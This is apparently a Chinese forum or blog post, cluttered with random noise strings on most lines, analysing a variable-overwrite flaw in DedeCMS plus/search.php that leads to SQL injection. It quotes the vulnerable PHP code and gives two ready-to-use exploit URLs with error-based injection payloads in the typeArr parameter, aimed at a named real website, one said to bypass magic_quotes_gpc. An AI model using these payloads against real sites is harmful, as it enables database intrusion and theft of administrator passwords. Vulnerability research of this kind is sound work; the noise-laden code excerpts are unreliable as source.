微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.9 w! n' h) J# t& g: p# t p
作者: c4rp3nt3r@0x50sec.org
5 e$ u, c6 r+ Z4 }2 I6 zDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
- K& X: q1 e' M/ u % }& b, ]/ y6 g3 W7 L
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
4 F: A7 k% e8 Y4 |/ ?4 K
$ C& k. R0 d% J============
( T W% G. q. d& I * f' g) b: q! R1 n6 a% q4 R
- N# C; S( @% r9 v- y2 Y/ z
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
% o/ F# r& c. ?; ? - q. K! B/ K( s0 m* U$ t; Z9 y# J9 B
require_once(dirname(__FILE__).”/../include/common.inc.php”);# U/ }6 Z) j. g! x5 S; B
require_once(DEDEINC.”/arc.searchview.class.php”);
+ Y' Q8 y. B6 [( F/ L) A / H) l" |) e7 c4 K5 l% A' u
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
/ S6 ~8 f2 h) J% I h$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
+ Z' F/ ]: d4 Y1 N: i5 F$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
) T. C/ i% ?8 J" x& {$ i' n: B$ H$ Z$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
/ }3 s9 `4 i$ [1 Q1 J$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
2 v4 H u; a& i9 Y# S) m! ~
6 T* g; v, ]9 v, g( P/ Jif(!isset($orderby)) $orderby=”;
, S' z+ T' W/ ~6 H% K3 d# Pelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
: N; |0 r( O6 F/ }" {/ q b+ z: w
" v0 R" Y5 b$ K9 z - X7 P; r. ^- e1 r' h% J
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;$ o1 M1 U8 X: K* { b
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);( g5 x ~. L1 V
( ^, ^7 n- w4 N* w
if(!isset($keyword)){
. H7 l0 I! Y- W7 ? if(!isset($q)) $q = ”;
* i( ~) @1 t x1 i4 }+ V $keyword=$q;2 X; h+ I% d6 A; d8 D3 H, ]
}" j- @6 \9 E8 W* L4 g
: [' K2 L2 p5 @9 Z6 |/ G+ V
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
9 c5 D2 ?/ Z5 g5 U0 l' h
! t( u7 z: B7 S//查找栏目信息
' c4 [2 ~1 z5 I# |# Sif(empty($typeid))
O2 ^# q" P/ F2 S. l{
& N' l! S7 R$ Z8 Z3 s $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
2 a0 \, `: o& d- Y2 v9 d' X' R( ` c if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
8 l8 }; ^. w* y# n& F& W; _ {. N5 c! V& [, c+ i
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);2 F' Z/ m H/ V" `. V
fwrite($fp, “<”.”?php\r\n”);! _) {1 R' H! t
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
; i% K# N4 Q3 Y3 u7 q; b/ A5 K( q $dsql->Execute();9 p4 z. y+ w+ b9 o. {3 c
while($row = $dsql->GetArray())6 p, m: S9 R6 ?) }8 h* z( @
{
C5 E8 S6 L- R( E& L: x fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);/ r/ G4 ?$ i6 T7 ^2 G
}, _% i4 L n' A3 d
fwrite($fp, ‘?’.'>’);
: ]4 |) L3 L/ `- S( x0 f$ \ fclose($fp);
$ j5 ` U" ?3 J! S }/ g0 o' X9 V( w5 t" n
//引入栏目缓存并看关键字是否有相关栏目内容
2 e# J# l' i5 I/ {7 B$ P require_once($typenameCacheFile);
5 h, ?$ B3 x4 r9 n! V//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
/ F: P2 u7 G F Z- B//! G. ?% q8 G5 k* o9 K" U
if(isset($typeArr) && is_array($typeArr))
' `4 D; b+ ^' e. c, G8 M {
4 p! |5 a( p9 C. t* y! G foreach($typeArr as $id=>$typename). c" s* q# i3 p5 I" ?# P4 B
{
7 v2 y5 r* V0 d) B5 y0 L8 `8 k. ^ 9 @4 f8 E' _$ h' a; U2 d
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过6 v: \2 C3 Y+ t
if($keyword != $keywordn)
# a5 N$ E8 A% g5 _) G: b- U( V0 D {, `7 i' J1 W: D
$keyword = $keywordn;
- b+ Y. l4 H2 P <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
2 u6 p$ {6 C" N' _* U# w break;% _7 G# _# l6 }5 |9 o, A4 O _
}- Q3 N/ b' a$ ^ @) @$ w- A$ R+ t
}
/ y! g" U$ E9 B" f } b0 T2 x" U, S( C) w0 N, n9 [* N
}
* {, | V# D# i然后plus/search.php文件下面定义了一个 Search类的对象 .
1 r* E1 _. s+ F+ {在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
+ ] X/ E3 E+ H. t$this->TypeLink = new TypeLink($typeid);
6 _/ G; M# H* P4 K
7 ?5 K/ L9 z/ F, u' [. m: h OTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
! Y+ l+ S, L6 K8 ^! O7 ^! w
8 K5 V5 q% |: \class TypeLink L# a' x/ q' W0 n* O d2 M
{
6 K0 q5 x' {/ {. \+ l* j* `. v var $typeDir;
- T2 p4 K3 p5 Q" q' B9 v9 E var $dsql;
7 ~" m8 `# u: n. p* S+ A1 ?# U) Y var $TypeID;- ?: V0 t) e4 M& e/ d) L) [6 K
var $baseDir;6 s f: l- K% n' g% a# v2 J
var $modDir;' A9 @6 f& H' x% R4 T3 q( Q
var $indexUrl;
$ e: z0 `& s8 |6 a5 A! N var $indexName;3 X. _& m2 U6 p
var $TypeInfos;
9 k2 z. W1 g! U* W. J* R) ^3 C1 _ var $SplitSymbol;+ R9 V, j; x6 p' }/ p Q/ L1 `
var $valuePosition;# I( K9 ^% h) c( h) u# y
var $valuePositionName;
- u0 o) S2 v# L9 T+ u, ~; b var $OptionArrayList;//构造函数///////
5 C3 b1 H) c1 o+ I+ H' q //php5构造函数
1 u9 u5 c) t7 A, ]: V function __construct($typeid)
h" B& S5 d+ m6 f$ W$ A {
) D* I; w5 @( J' L1 ^- g% x $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];; |6 ]0 l7 v" h9 z- P P) s& }) |
$this->indexName = $GLOBALS['cfg_indexname'];, `) c% j+ O* L
$this->baseDir = $GLOBALS['cfg_basedir'];! @5 X* M' H6 w
$this->modDir = $GLOBALS['cfg_templets_dir'];: X' l3 S( `: t6 t3 ^
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
5 z4 D3 F; }# S% V, x2 I3 Q8 i $this->dsql = $GLOBALS['dsql'];
6 n$ W: g- E$ | i, x $this->TypeID = $typeid;& g4 E+ r+ h) n7 z- p. H
$this->valuePosition = ”; P. M) R' r6 m* _: C$ j! A
$this->valuePositionName = ”;
* o) T/ @# h5 t ~: H& } $this->typeDir = ”;, C3 c% W: \ v3 T
$this->OptionArrayList = ”;% R+ l% l0 ?' ~. ^
7 R! X: v) S5 d
//载入类目信息
3 Q3 F+ A6 Q% ~: A# P6 f
" s+ F9 X X# }- h' Y <font color=”Red”>$query = “SELECT tp.*,ch.typename as, E5 x5 j) `! x# |+ Z6 {
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
8 a, N$ s4 l' ``#@__channeltype` ch
0 J! k& f4 D7 @, J0 b( H on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿/ s/ h% Z1 f0 u7 W4 \
A$ }) I2 ~( a) r D$ s if($typeid > 0)) ~* J8 _. b* {* x; M: t4 i
{, W: l$ I9 {9 ~8 t; \+ b
$this->TypeInfos = $this->dsql->GetOne($query);
4 W: t- j1 u3 C- R* b利用代码一 需要 即使magic_quotes_gpc = Off/ d" e7 }7 j7 h+ N4 \2 S
1 q) j2 y$ o( @9 ~; \# p* b9 twww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title/ Y; ^5 y8 _1 q
5 V4 @; U- q! s) R4 g
这只是其中一个利用代码… Search 类的构造函数再往下" [ l5 t: c4 p6 Q% ~
& t. z, m) k( C1 ~$ o……省略; q. c1 E0 M% z
$this->TypeID = $typeid;
% x5 x+ G, T( `6 @……省略8 p1 b" g0 Z! ?% B# T4 F9 c- s
if($this->TypeID==”0″){
: y/ w* O& _, u1 r; V- I $this->ChannelTypeid=1;
7 Z% H9 Q* L$ N4 @0 n5 }# k; c }else{
2 h7 h1 n' m' U8 {; ~ L $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲# X( P/ t% |! I0 t2 T
//现在不鸡肋了吧亲…
" A' d9 [2 ]: {- \- K2 O( y6 i $this->ChannelTypeid=$row['channeltype'];
0 f5 t# [3 ^5 r
3 l7 I H6 q" F } l' E+ H2 ~" U* `! v0 d$ c x* A& u
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用." E2 x" J: t$ L; @- z, j
* q; v! B% w# @" l cwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
2 i" |. g$ ^# b/ D8 X3 h
+ p' R8 }. w F M: X8 r如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站4 O7 y! X S: F! H0 ^
|